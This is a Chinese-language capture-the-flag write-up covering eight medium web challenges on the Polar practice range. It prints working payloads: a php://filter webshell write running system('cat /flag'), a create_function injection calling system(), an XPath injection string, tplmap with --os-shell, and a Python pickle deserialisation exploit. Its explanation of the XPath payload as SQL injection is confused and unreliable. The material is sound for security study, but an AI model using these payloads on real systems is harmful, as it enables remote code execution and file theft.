Polar靶场-Web中等题目记录(1-8)
到底给不给flag呢

代码逻辑分析
1.退出条件 :必须传入GET或POST的 flag 参数(否则退出),且参数值不能是 flag (否则退出)。
2.变量覆盖 :
- POST参数会将键作为变量名,值作为变量值(如 POST a=123 → $a=123 )。
- GET参数会将键作为变量名,值作为另一个变量的值(如 GET b=c → $b=$c )。
绕过思路
通过构造特定的POST和GET参数,使得 $flag 变量不被覆盖,从而输出原始flag值。具体步骤如下:
Get 提交:?a=flag&flag=a

flag在网站源代码中

写shell

绕过exit()限制的思路
由于文件开头是 <?php exit(); ,直接访问 shell.php 时PHP解释器会先执行 exit() ,导致后续代码不运行。但可以通过以下方式绕过:
- 截断 exit() 语句 :利用PHP的短标签或编码绕过。例如,若服务器开启了 short_open_tag ,可提交 content=?> ,最终文件内容为:
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=111.php
此时 ?> 会闭合前面的 <?php ,后续 <?php 会被正常解析。
- 上传非PHP文件 :若目标允许上传图片等其他类型文件,可将恶意代码写入图片,结合文件包含漏洞(如 include() )执行。
POST data为
content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=content
base64加密为:<?php echo(system('cat /flag'));


注入
通过点击发现id参数,但是通过测试,存在过滤

参考钮祜禄氏小炸毛大佬文章(https://blog.csdn.net/2301_82086776/article/details/148369880),学到一种绕过方法
?id=']|//*|//*['

输入 ']|//|//[' 是一种针对未过滤输入的SQL注入payload,其绕过原理核心在于通过特殊字符破坏SQL语句的原有结构,使数据库执行非预期逻辑。以下是具体拆解与原理分析:
输入字符的关键组成部分
输入']|//|//['可拆分为']、|、//、/等关键片段,每个片段在注入中承担不同功能:
(1) ']:闭合引号,破坏语句结构
假设原始SQL语句为:
SELECT * FROM users WHERE username = '用户输入' AND password = 'xxx'
当用户输入包含']时,拼接后的语句变为:
SELECT * FROM users WHERE username = '' ]|//*|//*[' AND password = 'xxx'
这里的']会闭合前面的单引号('),导致WHERE子句的条件变为username = ''(空字符串),后续的]成为未闭合的符号,破坏语句的语法结构。
(2) |:逻辑或/按位或运算符(视数据库而定)
在部分数据库(如SQL Server)中,|是按位或运算符;但在注入场景中,可能被利用为逻辑或(OR)。例如,若数据库将|解析为逻辑或,则拼接后的语句可能变为:
SELECT * FROM users WHERE username = '' OR 1=1 /* ...
此时OR 1=1构造恒真条件,使查询返回所有用户(绕过密码验证)。
(3) //与/:注释符,忽略后续代码
/是SQL的块注释符(从/到/之间的内容被忽略),//是行注释符(部分数据库如MySQL支持)。输入中的//和/*可能组合成注释,例如:
SELECT * FROM users WHERE username = '' ]| 1=1 /* ...
注释符会忽略/*之后的所有内容(如原语句的AND password = 'xxx'),使数据库仅执行SELECT * FROM users WHERE username = '' ]| 1=1。
某函数的复仇

分析限制条件
1.$shaw的限制
- 空函数,无限制
2.$root的限制
-
$root不能包含危险命令或字符(如rm、cat、|等)。
-
这意味着我们不能直接通过$root执行命令。
第一个参数为空的函数,可以使用create_function注入
?root=;}system('more /f*');/*
shaw=create_function

XXE
查看页面,得到信息flag在flagggg.php中,以及可以查看网站php info文件

没有其他思路,扫描网站,发现dom.php

这个警告信息表明在 /var/www/html/dom.php 文件的第 5 行, DOMDocument::loadXML() 方法接收到了一个空字符串作为输入。 DOMDocument::loadXML() 方法用于加载 XML 数据,如果传入的字符串为空,就会触发这个警告

尝试使用此界面构造xxe,获取flag


SSTI
根据题目提示,对name参数进行传参

发现为ssti模板,参考文章链接(https://cloud.tencent.com/developer/article/2130787)

使用tplmap-0.5工具进行注入

使用--os-shell命令,获取flag

unpickle

查看附件

存在 反序列化漏洞 : pickle.loads() 直接反序列化用户可控的Cookie数据。可构造恶意Base64编码的pickle数据(如包含执行系统命令的代码),通过Cookie传入后,服务器会执行任意代码(RCE)。
编写python脚本
import pickle
import base64
# 通用载荷(兼容 Python 2/3,无 os 模块依赖)
class RCE:
def __reduce__(self):
return (__import__('builtins').eval, ("open('/flag').read()",))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

BlackMagic
根据题目提示,访问/BlackMagic.php
查看网站源代码

编写PHP脚本
<?php
// 定义要去除的空白字符(与题目一致)
$strCharList = "\r\n\0\x0B ";
// 原始 flag(包含首尾空白字符,中间为占位符)
$strFlag = "\r xxxxx...xxxxx \n";
// 去除首尾空白字符
$strContent = trim($strFlag, $strCharList);
// 输出 URL 编码结果(用于构造 GET/POST 参数)
echo urlencode($strContent);
?>

提交获取flag


浙公网安备 33010602011771号